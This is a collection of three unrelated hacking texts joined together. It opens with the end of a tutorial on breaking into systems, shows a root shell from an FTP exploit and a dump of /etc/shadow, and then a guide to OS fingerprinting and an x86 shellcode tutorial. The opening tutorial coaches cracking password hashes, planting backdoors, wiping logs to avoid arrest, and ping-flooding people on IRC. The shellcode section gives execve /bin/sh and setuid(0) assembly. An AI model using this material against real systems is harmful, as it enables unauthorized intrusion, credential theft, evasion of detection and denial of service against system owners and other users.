[0m230-Next time please use your e-mail address as your password
230-        for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
-------------------------------------------------------------------------------
If you want root generally an exploit is the way. Find the OS of the system
then visit hack.co.za or packetstorm and search for that os, exploit and you
should get some perl scripts/c scripts/shell scripts. Then just execute them
as directed and you should have root.
-------------------------------------------------------------------------------

Already got a root shell, that was pretty easy. Just 3 commands to compile get help
and execute, a lot of times I think it is too easy.

Ok, in some places you might want to know the actual root password in case they patch the exploit.
so lets say you have a root shell. Issue the command as below-

(it is /etc/passwd if they did not install shadowing utils)

---------------------------------------------------------------
# cat /etc/shadow > /root/passwd    
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
---------------------------------------------------------------

The above command saved it as /root/passwd, but then you must crack it. Use john the ripper,
it can be found at packetstorm and other places, I use it, it is so fast. Sometimes it takes years
to crack a password so I don't suggest relying on cracking
---------------------------------------------------------------------------------------------------------

                                      FIREWALLS
                                     ===========

(8.) Firewalls can't stop you if you know what you are doing. In this text I use nmap a lot, it is good
     for just about everything, nmap is short for network mapper. The newest version can be downloaded
     from www.insecure.org  I love it's OS detection, it is so accurate, even wehn little services are
     running, it analyzes the tcp fingerprint, which it has a large database of. Ok enough on the greatness
     here is a simple option on nmap you can use to find the rules for firewalls. Issue "nmap -sA" . This
     Will check the firewalls rules. I don't want to go to deep into it to make this text extremely more
     boring than it is. If you would like to know more on this flag for nmap  (a - in front of a option
     is a flag) just do "man nmap" at the shell prompt.

---------------------------------------------------------------------------------------------------------


                               WHAT TO DO AFTER GETTING IN
                              ==============================

(9.) What to do after you get in depends on how you are going to use the system, if you want to use it
     to have an anonymous root shell then set up a backdoor. You can get backdoor's (trojans) at
     www.packetstorm.securify.com. I think you should be able to set up a backdoor on your own, but
     if for some reason you need help join #r00t-access on Dalnet and I can get you through but I will
     NOT crack into the systems for you, but I can help out occasionally if you need to secure your system...

---------------------------------------------------------------------------------------------------------

                                 HOW TO NOT GET CAUGHT
                                =======================

(10.) Main thing is, DON'T be STUPID. If you want to keep the remote shell, don't deface the site, don't
      delete their files, try to leave the system as it was and delete the neccessary logs to do so, that
      is all I have to say on this section.

---------------------------------------------------------------------------------------------------------

                                    LOG CLEANING
                                  ================

(11.) Log cleaning is the most important part of staying there and not going to jail. Rid your login/hostname
      from logs, which on Linux are held in /var/log, and .bash_profile in your directory. The easiest way
      to do this is to use a log cleaner which you can get from blackcode.com or packetstorm.

---------------------------------------------------------------------------------------------------------

                                   FINDING A USE
                                  ===============

(12.) I always have at least one rooted shell on me. I set up nmap and saint on them to hide my hostname,
      maybe run a web proxy/bnc on it. Saint is a great tool, it can tell you what a system is vulnerable
      to and can run remotely in your webbrowser with ease. Sometimes when people piss me off I decide to use
      a couple boxes and flood em'. like this-

----------------------------------------------------------------
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.  
----------------------------------------------------------------

People consider it lame but sometimes i want certain people to just shutup on IRC so I flood them.
---------------------------------------------------------------------------------------------------------


                                  THE BAD HACKER
                                ===================

(13.) In this text I have not been talking of hacking, in fact it is refered to as cracking. I don't mess
      up and systems and probably never will, not because I can't but because it is not right, plus if you got
      caught you would get more jail time for damage charges. I dislike people into totalling things.


----------------------------------------------------------------------------------------------------------


                               

Advanced application-level OS fingerprinting



Advanced application-level OS fingerprinting: Practical approaches and examples



The current state of OS fingerprinting involves, for the most part, layer 3 & 4 requests and responses. This includes tools like nmap, nessus, p0f, and sinFP. These tools make specific queries and examine the response for things like TCP/IP stack settings, TCP option support, the number of syn+ack packets sent before a timeout, the time interval between syn+ack packets, and the presence of a rst packet sent at timeout. Many of these things are manipulated or deformed by intermediary devices, and much of it can be fairly easily spoofed using freely available tools like IP Personality and Security Cloak.

Application-level OS fingerprinting, on the other hand, relies on data gleaned from an application running on the target host. The current methods include the identification of OS-specific applications, such as Remote Desktop, and "banner grabbing", which involves connecting to a cross-platform application and recording what operating system it claims to be running, usually in the welcome banner (thus the name). Banner grabbing is trivial to fool, usually requiring nothing more complicated than a change in a configuration file. It's not unheard of, for instance, for Apache servers to report that they are running on a Commodore 64.

Considering this, I present an alternate approach to application-level OS fingerprinting. The general idea is that there are certain requests that can be made to cross-platform applications which result in OS-dependant responses. This can be in the form of the data returned by the application, the lack of response, or timing differences in the response, although this is almost certainly not a comprehensive list. One example of existing usage of this technique is in [5]. Based on known differences in responses and known OSes associated with specific responses, one can determine the OS of a host running a service for which such signatures exist.

There are, of course, many differences in operating systems, but only some of them are actually feasible to measure remotely (in general scenarios). Here's a non-comprehensive list:

Newline characters
==================
0x0d -> Classic Mac OS
0x0d0a -> win32, DOS, OS/2, SymbianOS
0x0a -> *nix
0x15 -> EBCDIC-based

Bit bucket
==========
/dev/null -> *nix
NUL -> Win32, DOS, OS/2
NIL -> Amiga
SYS$NULL: -> OpenVMS
*DUMMY -> Univac

Directory separator [1]
===================
backslash -> win32, OS/2, symbianOS
slash -> *nix, amiga, domain, menuet
dot -> openVMS, riscOS
colon -> Classic Mac OS

Root directory [1]
==============
/ -> *nix, menuetOS
\ -> SymbianOS
// -> Domain/OS
[drive letter]:\ -> win32, OS/2, DOS
[drive letter]:/ -> win32
[device name]: or [NODE"accountname password"]::[device name]:  -> OpenVMS
[drive name]: -> Classic Mac OS, AmigaOS
[volume or assign name]: -> AmigaOS
[fs type]::[drive number or disc name].$ -> RiscOS

EOF marker
==========
0x1a -> Windows;
(int) -1 -> Pretty much everything else

Filesystem differences
======================
Maximum path length
Maximum filename length
Illegal characters
Case sensitivity
Reserved filenames, special files

***ILLEGAL NTFS CHARS***
" / \ * ? < > | :

***ILLEGAL FAT CHARS***
" + , . / : ; < = > [ \ ] | .

***ILLEGAL HPFS CHARS***
" / : < > \ |
any char below 0x20

Data alignment, word size, the existance of OS-specific binaries, and processor feature support are more criteria that can be used, but are less commonly determinable remotely.

Additionally, there are differences that are specific to an application that can be used. This varies widely from application to application, but often, these differences take one of a couple of forms. They can be vulnerabilities, or code written to patch those vulnerabilities that exist only on certain platforms (Fyodor has already discussed exploit chronology in [2] but does not discuss testing the existance of mitigation code). Certain features of programs will not be supported on some OSes, and will on others. The presence of these features eliminates unsupported OSes as a possibility. Finally, certain applications will have features which give out system details very freely. As a part of a default Apache installation, a test perl cgi script, printenv.pl, is placed in the cgi-bin directory. This script, when run, prints all environment variables. This is more or less advanced banner grabbing, but it makes a nice example of leaky features that can be found in certain applications.

But enough talk. Let's get to some real examples!

Example 1 - Apache 2.2.9
========================

http://unix.example.com/\\\.
-URL must not be URL-encoded: PuTTY or an intercepting http-proxy can be used to ensure this
-Will return a 404 Not Found error
-Unix platform

http://win32.example.com/\\\.
-Again, no URL-encoding
-Will return 200 OK and load front page
-Win32 platform

(This is an example of mitigation code that exists only on Win32 installations of Apache. Apache, when compiled for Windows, will convert backslashes to slashes. On *nix, it will not. This would work even if there wasn't specific mitigation code for Win32, but the fact that Apache on *nix doesn't change the backslashes to slashes means that backslashes will be interpreted as a part of a filename, and will just be extraneous slashes to Win32, resulting in \\\. being interpreted as a filename on *nix, and as a reference to the root dir of the website on a win32 machine.)

Example 2 - Apache 2.2.9
========================

http://unix.example.com/nul
-Returns 404 Not Found
-Not a windows based system

http://win32.example.com/nul
-Returns 403 Forbidden
-Win32

(This works because Apache won’t have read access to the bit bucket… nothing should!
On DOS-style systems, special files like nul and con “exist” and can be accessed from all directories. This should also work on other cross-platform web servers, ftp daemons, etc but I haven’t tested it)

Example 3 - Apache 2.2.9
========================

http://unix.example.com/%1a
-404 Not Found


http://win32.example.com/%1a
-403 Forbidden

(Apache on Win32 doesn’t appreciate EOF markers being stuck into URIs
Funny enough, it doesn’t like anything but GL codes(0x20-0x7f). I don’t know where in the code this happens. I think it’s likely a limitation of the system-level functions failing with characters outside a given range. Other operating systems aren’t as picky.)

Example 4
=========

http://winme.example.com/images/thumbs.db
-Has drive and pathnames in file

http://winxp.example.com/images/thumbs.db
-No drive or pathnames in file

http://xpmedia.example.com/images/ehthumbs.db
-Unique to XP Media Center

Thumbs.db
-Auto-generated image thumbnail database
-Exists in every dir with images (or certain other files) viewed in Windows Explorer with thumbnails on (even if images are later deleted)
-Generated on 98, ME, 2K, XP, 2003 (Maybe more, documentation is very sparse)
-Differs in contents between 98/ME/2K and XP/2003
-Win2k will use alternate data streams for thumbnail storage on NTFS volumes and thumbs.db on FAT partitions
-Windows XP Media Center Edition will also create ehthumbs.db for videos

(table expanded from [3])
System | Win98 | WinME | Win2k | WinXP | Win2k3
--------+---------------+---------------+---------------+---------------+---------------
Drive | Yes | Yes | Yes | No | No
Filename| Yes | Yes | Yes | Yes | Yes
Path | Yes | Yes | Yes | No | No
Last Mod| Yes | Yes | Yes | Yes | Yes

(One note about this: I was confronted with a problem with this method by Mike Eddington of Leviathan Security, who pointed out the possibility that a thumbs.db file could be uploaded to a webserver along with the corresponding images. After some thought, I realized that you could check the last modified date of the thumbs.db file as sent by the web server and the last modified date as recorded in the file. If they match, it was updated by the server itself!)

Example 5 - IIS [4]
===============
This one's pretty simple. IIS versions correspond to specific versions of Windows. Enumerate the IIS version, and you get the OS version.

IIS version | OS version
----------------+------------------
1.0 | NT 3.51 SP3
2.0 | NT 4.0
3.0 | NT 4.0 SP3
4.0 | NT 4.0 SP3
5.0 | Win2k
5.1 | XP Pro
6.0 | Server 2003
7.0 | Vista, Server 2008

(I haven't figured out ways to determine between IIS versions, although exploit chronology and feature support would likely be good candidates, and the version of IIS being reported should give a good indication. I suspect, however, that it should be easy for an admin to spoof.)

Example 6 - default FTP daemons
===============================
Run the raw ftp commands “rnfr .” and then “rnto .” against a default FTP daemon on a writable directory. It will generally spit back "350 File exists, ready for destination name" followed by a message about what happened with the operation…

OpenBSD 4.0
550 rename: Is a directory.

FreeBSD 7.0
250 RNTO command successful

OpenSolaris 2008.05
550 rename: Invalid argument.

Ubuntu 8.04 server
550 rename: Device or resource busy.

More quick examples
===================
Win32 Apache doesn’t like colons in urls, other OSes don't care so much
Win32 Apache will accept, for example, /BLAHBL~1.HTM as a valid replacement for blahblahblah.html where it will not on other OSes
(This one kinda sounds like security hell)

Other (less useful) signatures
==============================
The presence of $MFT in the root of a volume suggests an NTFS volume
Accessing a directory as a file will work on BSD systems
-FreeBSD and NetBSD will spit back binary data
-OpenBSD will return nothing but won’t complain
Windows can only use one audio input source at a time

(I came up with these too and wanted to include them for completeness, but they're so case-specific that I didn't want to give them too much time.)

If you'd like to find some signatures yourself, try grepping for #ifdef and #ifndef in the sources of any given application (if you have sources and they're C). "Linux", "BSD", "MacOS", etc are also nice candidates. Additionally, the basis for many of the examples I've given here should apply to many different applications which do similar operations or make similar system calls. Requesting nul from any application that serves or queries for files should quickly identify a Windows system.

In conclusion, application-level OS fingerprinting using multi-platform applications is possible and plausible without using banner-grabbing. OS identity info leakage in applications is not well considered (I based this on the fact that I was able to find 3 leaks with the latest version of Apache in 1 hour of searching). This method is user, and can be combined with other fingerprinting methods, which is where I feel it would be most effective, though with enough signatures, this method could stand entirely on its own.

As for further work that can be done in this field, there are definitely timing differences in application responses that could be used for OS fingerprinting. It should also be possible to find OS-version-specific responses in platform-specific applications, much like the IIS version-to-OS version example. Also, these techniques could be coded into a tool, but I'm not a great coder by any means. I hope to release some python scripts for a few of these examples shortly after the paper is released. And finally, there's more applications out there to use for fingerprinting!


Advanced Shellcoding Techniques


  ***********************************************
     *                                             *

     * Advanced Shellcoding Techniques -  *

     *                                             *
     ***********************************************

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper.  I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes.  I do not claim to have invented any of these techniques, except for the one that uses the div instruction.



The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net.  The mul instruction may, on the surface, seem mundane, and it's purpose obvious.  However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful.  First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers.  It takes only one operand, the other is implicitly specified by the %eax register.  So, a  common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10.  The result is then implicitly stored in EDX:EAX.  The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question.  How can we use these attributes to our advantage when writing shellcode?  Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode.  It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication.  Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0?  The answer, as you may have guessed, is 0.  I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing?  Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0.  Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX.  So, regardless of %eax's previous contents, %eax must now be 0.  However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax.  Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.


The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax.  Also like, mul it stores the result of the divide in %eax.  Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction.  But first, let's think about what is normally stored in the %eax register.  The %eax register holds the return value of functions and/or syscalls.  Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur).  So, if we know that after a syscall is performed, %eax will have a non-zero value, and that  the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax.  So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80.  It just so happens that the syscall that corresponds to the value 1 is exit().  Now for an example:

     
xorl %ebx,%ebx
mul %ebx
push %edx
pushl   $0x3268732f
pushl   $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al  #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax  # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes.  However, there is a catch, what if a syscall does return 0?  Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero.  Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly.  They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping.  However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system.  So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.



Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful.  Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax.  This occurs because the leal instruction loads a variable of the type long into it's desitination operand.  In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts.  However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address.  In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right.  However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted.  Here's an example:

xorl    %eax,%eax
xorl    %ebx,%ebx
movb    $0x17,%al
int    $0x80
     
xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8.  Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.



Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes.  If you know who invented  the leal technique, please tell me and I will credit him/her.